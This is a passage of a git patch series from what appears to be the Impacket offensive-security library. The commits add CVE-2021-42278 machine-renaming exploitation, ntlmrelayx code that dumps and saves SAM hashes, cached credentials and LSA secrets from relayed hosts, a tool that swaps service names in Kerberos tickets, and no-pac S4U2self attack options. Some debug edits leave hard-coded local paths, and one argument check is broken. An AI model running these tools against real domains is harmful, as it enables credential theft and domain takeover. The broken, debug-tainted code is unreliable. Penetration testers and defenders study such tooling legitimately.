(%s): (%s) -> (%s)' % (attribute, dn, args.current_name, args.new_name)) + if "CN=Computers" in dn and attribute == 'sAMAccountName' and not args.new_name.endswith('$'): + logging.info('New sAMAccountName does not end with \'$\' (attempting CVE-2021-42278)') + ldap_session.modify(dn, {attribute: [operation, [args.new_name]]}) + if ldap_session.result['result'] == 0: + logging.info('Target object modified successfully!') + else: + logging.error('Target object could not be modified...') + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + traceback.print_exc() + logging.error(str(e)) + +if __name__ == '__main__': + main() \ No newline at end of file From 9d0158ba13c356a61fda20c4cedd736464827c96 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 13 Dec 2021 13:38:43 +0100 Subject: [PATCH 020/163] Improved error handling and expected behavior for patched envs --- examples/renameMachine.py | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/examples/renameMachine.py b/examples/renameMachine.py index dd6f0dc8a..22f9e431c 100755 --- a/examples/renameMachine.py +++ b/examples/renameMachine.py @@ -347,13 +347,25 @@ def main(): return try: logging.info('Modifying attribute (%s) of object (%s): (%s) -> (%s)' % (attribute, dn, args.current_name, args.new_name)) + cve_attempt = False if "CN=Computers" in dn and attribute == 'sAMAccountName' and not args.new_name.endswith('$'): + cve_attempt = True logging.info('New sAMAccountName does not end with \'$\' (attempting CVE-2021-42278)') ldap_session.modify(dn, {attribute: [operation, [args.new_name]]}) if ldap_session.result['result'] == 0: logging.info('Target object modified successfully!') else: - logging.error('Target object could not be modified...') + error_code = int(ldap_session.result['message'].split(':')[0].strip(), 16) + if error_code == 0x523 and cve_attempt: + # https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e + logging.error('Server probably patched against CVE-2021-42278') + logging.debug('The server returned an error: %s', ldap_session.result['message']) + if ldap_session.result['result'] == 50: + logging.error('Could not modify object, the server reports insufficient rights: %s', ldap_session.result['message']) + elif ldap_session.result['result'] == 19: + logging.error('Could not modify object, the server reports a constrained violation: %s', ldap_session.result['message']) + else: + logging.error('The server returned an error: %s', ldap_session.result['message']) except Exception as e: if logging.getLogger().level == logging.DEBUG: traceback.print_exc() From 4206def034dc190bf53c78b1e5b2f7fe2d6bf4f4 Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Thu, 16 Dec 2021 00:12:44 +0100 Subject: [PATCH 021/163] Fixed small if elif order for debug messages --- examples/renameMachine.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/examples/renameMachine.py b/examples/renameMachine.py index 22f9e431c..56f80ffc6 100755 --- a/examples/renameMachine.py +++ b/examples/renameMachine.py @@ -357,10 +357,10 @@ def main(): else: error_code = int(ldap_session.result['message'].split(':')[0].strip(), 16) if error_code == 0x523 and cve_attempt: + logging.debug('The server returned an error: %s', ldap_session.result['message']) # https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e logging.error('Server probably patched against CVE-2021-42278') - logging.debug('The server returned an error: %s', ldap_session.result['message']) - if ldap_session.result['result'] == 50: + elif ldap_session.result['result'] == 50: logging.error('Could not modify object, the server reports insufficient rights: %s', ldap_session.result['message']) elif ldap_session.result['result'] == 19: logging.error('Could not modify object, the server reports a constrained violation: %s', ldap_session.result['message']) @@ -372,4 +372,4 @@ def main(): logging.error(str(e)) if __name__ == '__main__': - main() \ No newline at end of file + main() From de5906d8b63c1b0c245a26e0868814f653bb5b6c Mon Sep 17 00:00:00 2001 From: Geiseric <73939366+GeisericII@users.noreply.github.com> Date: Wed, 26 Jan 2022 11:54:12 +0100 Subject: [PATCH 022/163] Modified searchFilter to show RBCD over DCs Removing searchfilter for DCs to allow RBCD and Unconstrained to be shown --- examples/findDelegation.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/findDelegation.py b/examples/findDelegation.py index bd6be60be..005d80405 100755 --- a/examples/findDelegation.py +++ b/examples/findDelegation.py @@ -133,7 +133,7 @@ def run(self): searchFilter = "(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)(UserAccountControl:1.2.840.113556.1.4.803:=" \ "524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" \ - "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(UserAccountControl:1.2.840.113556.1.4.803:=8192))" + "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" if self.__requestUser is not None: searchFilter += '(sAMAccountName:=%s))' % self.__requestUser From 8d738ad72aceb52e37f8862502f19b8138ed6a8e Mon Sep 17 00:00:00 2001 From: Geiseric <73939366+GeisericII@users.noreply.github.com> Date: Wed, 26 Jan 2022 13:30:58 +0100 Subject: [PATCH 023/163] Added possibility to query delegs for disabled users --- examples/findDelegation.py | 23 +++++++++++------------ 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/examples/findDelegation.py b/examples/findDelegation.py index 005d80405..55211035a 100755 --- a/examples/findDelegation.py +++ b/examples/findDelegation.py @@ -58,12 +58,12 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption self.__password = password self.__domain = user_domain self.__targetDomain = target_domain - self.__requestUser = cmdLineOptions.user self.__lmhash = '' self.__nthash = '' self.__aesKey = cmdLineOptions.aesKey self.__doKerberos = cmdLineOptions.k self.__kdcHost = cmdLineOptions.dc_ip + self.__disabled = cmdLineOptions.disabled if cmdLineOptions.hashes is not None: self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') @@ -133,12 +133,7 @@ def run(self): searchFilter = "(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)(UserAccountControl:1.2.840.113556.1.4.803:=" \ "524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" \ - "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" - - if self.__requestUser is not None: - searchFilter += '(sAMAccountName:=%s))' % self.__requestUser - else: - searchFilter += ')' + "(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" try: resp = ldapConnection.search(searchFilter=searchFilter, @@ -158,7 +153,7 @@ def run(self): answers = [] logging.debug('Total of records returned %d' % len(resp)) - + for item in resp: if isinstance(item, ldapasn1.SearchResultEntry) is not True: continue @@ -188,7 +183,7 @@ def run(self): objectType = str(attribute['vals'][0]).split('=')[1].split(',')[0] elif str(attribute['type']) == 'msDS-AllowedToDelegateTo': if protocolTransition == 0: - delegation = 'Constrained w/o Protocol Transition' + delegation = 'Constrained' for delegRights in attribute['vals']: rightsTo.append(str(delegRights)) @@ -200,8 +195,12 @@ def run(self): sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(attribute['vals'][0])) for ace in sd['Dacl'].aces: searchFilter = searchFilter + "(objectSid="+ace['Ace']['Sid'].formatCanonical()+")" - searchFilter = searchFilter + ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" + if self.__disabled: + searchFilter = searchFilter + ")(UserAccountControl:1.2.840.113556.1.4.803:=2))" + else: + searchFilter = searchFilter + ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" delegUserResp = ldapConnection.search(searchFilter=searchFilter,attributes=['sAMAccountName', 'objectCategory'],sizeLimit=999) + for item2 in delegUserResp: if isinstance(item2, ldapasn1.SearchResultEntry) is not True: continue @@ -216,7 +215,7 @@ def run(self): answers.append([rights, objType, 'Resource-Based Constrained', sAMAccountName]) #print unconstrained + constrained delegation relationships - if delegation in ['Unconstrained', 'Constrained w/o Protocol Transition', 'Constrained w/ Protocol Transition']: + if delegation in ['Unconstrained', 'Constrained', 'Constrained w/ Protocol Transition']: if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) @@ -245,10 +244,10 @@ def run(self): parser.add_argument('target', action='store', help='domain/username[:password]') parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. ' 'Allows for retrieving delegation info across trusts.') - parser.add_argument('-user', action='store', help='Requests data for specific user') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-disabled', action='store_true', help='Query disabled users too') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') From 55e9742785e034b42ec9a7b39973787c63583f09 Mon Sep 17 00:00:00 2001 From: Geiseric <73939366+GeisericII@users.noreply.github.com> Date: Sat, 5 Feb 2022 17:35:49 +0100 Subject: [PATCH 024/163] Added "-disabled" switch to query only delegs for disabled users --- examples/findDelegation.py | 29 ++++++++++++++++++++--------- 1 file changed, 20 insertions(+), 9 deletions(-) diff --git a/examples/findDelegation.py b/examples/findDelegation.py index 55211035a..ccc10711e 100755 --- a/examples/findDelegation.py +++ b/examples/findDelegation.py @@ -58,6 +58,7 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption self.__password = password self.__domain = user_domain self.__targetDomain = target_domain + self.__requestUser = cmdLineOptions.user self.__lmhash = '' self.__nthash = '' self.__aesKey = cmdLineOptions.aesKey @@ -132,8 +133,18 @@ def run(self): raise searchFilter = "(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)(UserAccountControl:1.2.840.113556.1.4.803:=" \ - "524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" \ - "(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" + "524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" + + if self.__disabled: + searchFilter = searchFilter + ")(UserAccountControl:1.2.840.113556.1.4.803:=2)" + else: + searchFilter = searchFilter + ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" + + + if self.__requestUser is not None: + searchFilter += '(sAMAccountName:=%s))' % self.__requestUser + else: + searchFilter += ')' try: resp = ldapConnection.search(searchFilter=searchFilter, @@ -183,7 +194,7 @@ def run(self): objectType = str(attribute['vals'][0]).split('=')[1].split(',')[0] elif str(attribute['type']) == 'msDS-AllowedToDelegateTo': if protocolTransition == 0: - delegation = 'Constrained' + delegation = 'Constrained w/o Protocol Transition' for delegRights in attribute['vals']: rightsTo.append(str(delegRights)) @@ -191,7 +202,7 @@ def run(self): if str(attribute['type']) == 'msDS-AllowedToActOnBehalfOfOtherIdentity': rbcdRights = [] rbcdObjType = [] - searchFilter = '(&(|' + searchFilter = "(&(|" sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(attribute['vals'][0])) for ace in sd['Dacl'].aces: searchFilter = searchFilter + "(objectSid="+ace['Ace']['Sid'].formatCanonical()+")" @@ -208,16 +219,16 @@ def run(self): rbcdObjType.append(str(item2['attributes'][1]['vals'][0]).split('=')[1].split(',')[0]) if mustCommit is True: - if int(userAccountControl) & UF_ACCOUNTDISABLE: + if int(userAccountControl) & UF_ACCOUNTDISABLE and self.__disabled is not True: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for rights, objType in zip(rbcdRights,rbcdObjType): answers.append([rights, objType, 'Resource-Based Constrained', sAMAccountName]) #print unconstrained + constrained delegation relationships - if delegation in ['Unconstrained', 'Constrained', 'Constrained w/ Protocol Transition']: + if delegation in ['Unconstrained', 'Constrained w/o Protocol Transition', 'Constrained w/ Protocol Transition']: if mustCommit is True: - if int(userAccountControl) & UF_ACCOUNTDISABLE: + if int(userAccountControl) & UF_ACCOUNTDISABLE and self.__disabled is not True: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for rights in rightsTo: @@ -244,10 +255,10 @@ def run(self): parser.add_argument('target', action='store', help='domain/username[:password]') parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. ' 'Allows for retrieving delegation info across trusts.') - + parser.add_argument('-user', action='store', help='Requests data for specific user') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-disabled', action='store_true', help='Query disabled users too') + parser.add_argument('-disabled', action='store_true', help='Query only disabled users') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') From 7fc473c4f84fc97a355553c5b6fe154673c9419d Mon Sep 17 00:00:00 2001 From: n00py Date: Tue, 8 Feb 2022 14:18:15 -0700 Subject: [PATCH 025/163] Update smbattack.py --- impacket/examples/ntlmrelayx/attacks/smbattack.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/impacket/examples/ntlmrelayx/attacks/smbattack.py b/impacket/examples/ntlmrelayx/attacks/smbattack.py index c90a78600..15295b7e6 100644 --- a/impacket/examples/ntlmrelayx/attacks/smbattack.py +++ b/impacket/examples/ntlmrelayx/attacks/smbattack.py @@ -65,7 +65,7 @@ def run(self): LOG.info("Service Installed.. CONNECT!") self.installService.uninstall() else: - from impacket.examples.secretsdump import RemoteOperations, SAMHashes + from impacket.examples.secretsdump import RemoteOperations, SAMHashes, LSASecrets from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins samHashes = None try: @@ -110,6 +110,10 @@ def run(self): samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) + SECURITYFileName = remoteOps.saveSECURITY() + LSASecrets = LSASecrets(SECURITYFileName, bootKey, remoteOps=None, isRemote= True, history=False) + LSASecrets.dumpCachedHashes() + LOG.info("Done dumping LSA secrets for host: %s", self.__SMBConnection.getRemoteHost()) except Exception as e: LOG.error(str(e)) finally: From 41103be3b0ff23b9a9a9ef461730dbd809704f7a Mon Sep 17 00:00:00 2001 From: n00py Date: Tue, 8 Feb 2022 14:32:38 -0700 Subject: [PATCH 026/163] Forgot one Secrets and cached --- impacket/examples/ntlmrelayx/attacks/smbattack.py | 1 + 1 file changed, 1 insertion(+) diff --git a/impacket/examples/ntlmrelayx/attacks/smbattack.py b/impacket/examples/ntlmrelayx/attacks/smbattack.py index 15295b7e6..f3c3afeff 100644 --- a/impacket/examples/ntlmrelayx/attacks/smbattack.py +++ b/impacket/examples/ntlmrelayx/attacks/smbattack.py @@ -113,6 +113,7 @@ def run(self): SECURITYFileName = remoteOps.saveSECURITY() LSASecrets = LSASecrets(SECURITYFileName, bootKey, remoteOps=None, isRemote= True, history=False) LSASecrets.dumpCachedHashes() + LSASecrets.dumpSecrets() LOG.info("Done dumping LSA secrets for host: %s", self.__SMBConnection.getRemoteHost()) except Exception as e: LOG.error(str(e)) From 7412a7453a4f68b94013015de3e142f4873ba266 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Wed, 9 Feb 2022 11:41:17 +0100 Subject: [PATCH 027/163] Improved exporting and added Kerberos keys calculation --- .../examples/ntlmrelayx/attacks/smbattack.py | 20 +++++++---- .../ntlmrelayx/clients/smbrelayclient.py | 34 +++++++++++++++++++ 2 files changed, 48 insertions(+), 6 deletions(-) diff --git a/impacket/examples/ntlmrelayx/attacks/smbattack.py b/impacket/examples/ntlmrelayx/attacks/smbattack.py index f3c3afeff..e0e0787da 100644 --- a/impacket/examples/ntlmrelayx/attacks/smbattack.py +++ b/impacket/examples/ntlmrelayx/attacks/smbattack.py @@ -14,6 +14,8 @@ # Alberto Solino (@agsolino) # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) # +import os + from impacket import LOG from impacket.examples.ntlmrelayx.attacks import ProtocolAttack from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell @@ -96,25 +98,31 @@ def run(self): return try: + remote_host = self.__SMBConnection.getRemoteHost() if self.config.command is not None: remoteOps._RemoteOperations__executeRemote(self.config.command) - LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) + LOG.info("Executed specified command on host: %s", remote_host) self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') print(self.__answerTMP.decode(self.config.encoding, 'replace')) else: + if not os.path.exists(self.config.lootdir): + os.makedirs(self.config.lootdir) + outfile = os.path.join(self.config.lootdir, remote_host) bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() - samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') - LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) - SECURITYFileName = remoteOps.saveSECURITY() - LSASecrets = LSASecrets(SECURITYFileName, bootKey, remoteOps=None, isRemote= True, history=False) + samHashes.export(outfile) + LOG.info("Done dumping SAM hashes for host: %s", remote_host) + SECURITYFileName = remoteOps.saveSECURITY() + LSASecrets = LSASecrets(SECURITYFileName, bootKey, remoteOps=remoteOps, isRemote= True, history=False) LSASecrets.dumpCachedHashes() + LSASecrets.exportCached(outfile) LSASecrets.dumpSecrets() - LOG.info("Done dumping LSA secrets for host: %s", self.__SMBConnection.getRemoteHost()) + LSASecrets.exportSecrets(outfile) + LOG.info("Done dumping LSA hashes for host: %s", remote_host) except Exception as e: LOG.error(str(e)) finally: diff --git a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py index 8ab0fa620..6bac447ab 100644 --- a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py @@ -326,6 +326,40 @@ def sendNegotiate(self, negotiateMessage): else: challenge.fromString(self.sendNegotiatev2(negotiateMessage)) + from impacket.ntlm import AV_PAIRS, NTLMSSP_AV_HOSTNAME, NTLMSSP_AV_DOMAINNAME, NTLMSSP_AV_DNS_DOMAINNAME, NTLMSSP_AV_DNS_HOSTNAME + if challenge['TargetInfoFields_len'] > 0: + av_pairs = AV_PAIRS(challenge['TargetInfoFields'][:challenge['TargetInfoFields_len']]) + if av_pairs[NTLMSSP_AV_HOSTNAME] is not None: + try: + self.sessionData['ServerName'] = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') + except: + # For some reason, we couldn't decode Unicode here.. silently discard the operation + pass + if av_pairs[NTLMSSP_AV_DOMAINNAME] is not None: + try: + if self.sessionData['ServerName'] != av_pairs[NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le'): + self.sessionData['ServerDomain'] = av_pairs[NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le') + except: + # For some reason, we couldn't decode Unicode here.. silently discard the operation + pass + if av_pairs[NTLMSSP_AV_DNS_DOMAINNAME] is not None: + try: + self.sessionData['ServerDNSDomainName'] = av_pairs[NTLMSSP_AV_DNS_DOMAINNAME][1].decode('utf-16le') + except: + # For some reason, we couldn't decode Unicode here.. silently discard the operation + pass + + if av_pairs[NTLMSSP_AV_DNS_HOSTNAME] is not None: + try: + self.sessionData['ServerDNSHostName'] = av_pairs[NTLMSSP_AV_DNS_HOSTNAME][1].decode('utf-16le') + except: + # For some reason, we couldn't decode Unicode here.. silently discard the operation + pass + + self.session._SMBConnection._SMB__server_name = self.sessionData['ServerName'] + self.session._SMBConnection._SMB__server_dns_domain_name = self.sessionData['ServerDNSDomainName'] + self.session._SMBConnection._SMB__server_domain = self.sessionData['ServerDomain'] + self.negotiateMessage = negotiateMessage self.challengeMessage = challenge.getData() From c8827b7a91bfca541b640d997f27c692b4481126 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 12 Feb 2022 17:15:05 +0100 Subject: [PATCH 028/163] Adding tgssub --- examples/tgssub.py | 113 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 113 insertions(+) create mode 100755 examples/tgssub.py diff --git a/examples/tgssub.py b/examples/tgssub.py new file mode 100755 index 000000000..4448a82b9 --- /dev/null +++ b/examples/tgssub.py @@ -0,0 +1,113 @@ +#!/usr/bin/env python3 +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Python equivalent to Rubeus tgssub: Substitute an sname or SPN into an existing service ticket +# New value can be of many forms +# - (service class only) cifs +# - (service class with hostname) cifs/service +# - (service class with hostname and realm) cifs/service@DOMAIN.FQDN +# +# Authors: +# Charlie Bromberg (@_nwodtuhs) + +import logging +import sys +import traceback +import argparse + + +from impacket import version +from impacket.examples import logger +from impacket.krb5 import constants +from impacket.krb5.types import Principal +from impacket.krb5.ccache import CCache + +def substitute_sname(args): + ccache = CCache.loadFile(args.inticket) + cred_number = 0 + logging.info('Number of credentials in cache: %d' % len(ccache.credentials)) + if cred_number > 1: + logging.debug("More than one credentials in cache, modifying all of them") + for creds in ccache.credentials: + sname = creds['server'].prettyPrint() + service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') + hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') + service_realm = sname.split(b'@')[1].decode('utf-8') + if '@' in args.altservice: + new_service_realm = args.altservice.split('@')[1].upper() + if not '.' in new_service_realm: + logging.debug("New service realm is not FQDN, you may encounter errors") + if '/' in args.altservice: + new_hostname = args.altservice.split('@')[0].split('/')[1] + new_service_class = args.altservice.split('@')[0].split('/')[0] + else: + logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) + new_hostname = hostname + new_service_class = args.altservice.split('@')[0] + else: + logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) + new_service_realm = service_realm + if '/' in args.altservice: + new_hostname = args.altservice.split('/')[1] + new_service_class = args.altservice.split('/')[0] + else: + logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) + new_hostname = hostname + new_service_class = args.altservice + new_sname = "%s/%s@%s" % (new_service_class, new_hostname, new_service_realm) + logging.info('Changing sname from %s to %s' % (sname.decode("utf-8"), new_sname)) + creds['server'].fromPrincipal(Principal(new_sname, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) + logging.info('Saving ticket in %s' % args.outticket) + ccache.saveFile(args.outticket) + + +def parse_args(): + parser = argparse.ArgumentParser(add_help=True, description='Substitute an sname or SPN into an existing service ticket') + + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-in', dest='inticket', action="store", metavar="TICKET.CCACHE", help='input ticket to modify', required=True) + parser.add_argument('-out', dest='outticket', action="store", metavar="TICKET.CCACHE", help='output ticket', required=True) + parser.add_argument('-altservice', action="store", metavar="SERVICE", help='New sname/SPN', required=True) + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + args = parser.parse_args() + return args + + +def init_logger(args): + # Init the example's logger theme and debug level + logger.init(args.ts) + if args.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + +def main(): + print(version.BANNER) + args = parse_args() + init_logger(args) + + try: + substitute_sname(args) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + traceback.print_exc() + logging.error(str(e)) + +if __name__ == '__main__': + main() From 5e944b37078e3b9dc497fe1a4f7e8605efd62043 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 18 Feb 2022 18:34:19 +0800 Subject: [PATCH 029/163] add alt_service parameter to fromTGS method for ticket sname field modification --- impacket/krb5/ccache.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py index 011717210..94e7e0f61 100644 --- a/impacket/krb5/ccache.py +++ b/impacket/krb5/ccache.py @@ -455,7 +455,7 @@ def fromTGT(self, tgt, oldSessionKey, sessionKey): credential.secondTicket['length'] = 0 self.credentials.append(credential) - def fromTGS(self, tgs, oldSessionKey, sessionKey): + def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): self.headers = [] header = Header() header['tag'] = 1 @@ -484,7 +484,7 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey): credential = Credential() server = types.Principal() - server.from_asn1(encTGSRepPart, 'srealm', 'sname') + server.from_asn1(encTGSRepPart, 'srealm', 'sname', alt_service) tmpServer = Principal() tmpServer.fromPrincipal(server) @@ -511,6 +511,10 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey): credential['num_address'] = 0 credential.ticket = CountedOctetString() + if alt_service != None: + decodedTGS['ticket']['sname']['name-type'] = 0 + decodedTGS['ticket']['sname']['name-string'][0] = alt_service.split('/')[0] + decodedTGS['ticket']['sname']['name-string'][1] = alt_service.split('/')[1] credential.ticket['data'] = encoder.encode(decodedTGS['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True)) credential.ticket['length'] = len(credential.ticket['data']) credential.secondTicket = CountedOctetString() From 910386f89bbf6c124e7052953862e398e430268d Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 18 Feb 2022 18:36:04 +0800 Subject: [PATCH 030/163] add support for no-pac s4u2self attack add s4u2self and alt-service parameter --- examples/getST.py | 37 ++++++++++++++++++++++++++----------- 1 file changed, 26 insertions(+), 11 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index fa536ff1f..6c570792e 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!C:\Users\x\AppData\Local\Programs\Python\Python39\python.exe # Impacket - Collection of Python classes for working with network protocols. # # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. @@ -82,12 +82,21 @@ def __init__(self, target, password, domain, options): if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') - def saveTicket(self, ticket, sessionKey): - logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) - ccache = CCache() + def saveTicket(self, ticket, sessionKey,clientName=None, alt_service=None): + clientName=clientName.components[0] + if clientName!=None: + logging.info('Saving ticket in %s_s4u2self.ccache' % clientName) + ccache = CCache() - ccache.fromTGS(ticket, sessionKey, sessionKey) - ccache.saveFile(self.__saveFileName + '.ccache') + ccache.fromTGS(ticket, sessionKey, sessionKey, alt_service) + ccache.saveFile('%s_s4u2self.ccache'% clientName) + else: + + logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) + ccache = CCache() + + ccache.fromTGS(ticket, sessionKey, sessionKey) + ccache.saveFile(self.__saveFileName + '.ccache') def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): if not os.path.isfile(additional_ticket_path): @@ -296,7 +305,7 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey return r, cipher, sessionKey, newSessionKey - def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): + def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, s4u2self=False, alt_service=None): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() @@ -421,7 +430,9 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, kdcHost) - + if s4u2self: + self.saveTicket(r,sessionKey, clientName, alt_service) + return tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: @@ -622,7 +633,7 @@ def run(self): # Do we have a TGT cached? tgt = None try: - ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) + ccache = CCache.loadFile(r'C:\Users\x\1\mimikatz_trunk\x64\WIN-ER6H1V81DV9.ccache') logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper()) creds = ccache.getCredential(principal) @@ -663,7 +674,7 @@ def run(self): tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, self.__additional_ticket) else: - tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) + tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, options.s4u2self, options.alt_service) except Exception as e: logging.debug("Exception", exc_info=True) logging.error(str(e)) @@ -690,6 +701,8 @@ def run(self): ' for quering the ST. Keep in mind this will only work if ' 'the identity provided in this scripts is allowed for ' 'delegation to the SPN specified') + parser.add_argument('-alt-service', action="store", help='change the service ticket\'s sname') + parser.add_argument('-s4u2self', action="store_true", help='only do s4u2self request') parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') @@ -728,7 +741,9 @@ def run(self): logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) - + if options.alt_service.split('/') != 2: + logging.critical('alt-service should be specified as service/host format') + sys.exit(1) domain, username, password = parse_credentials(options.identity) try: From 42ce5d4821eb58f80b9e985a059bd00966bf1c16 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 18 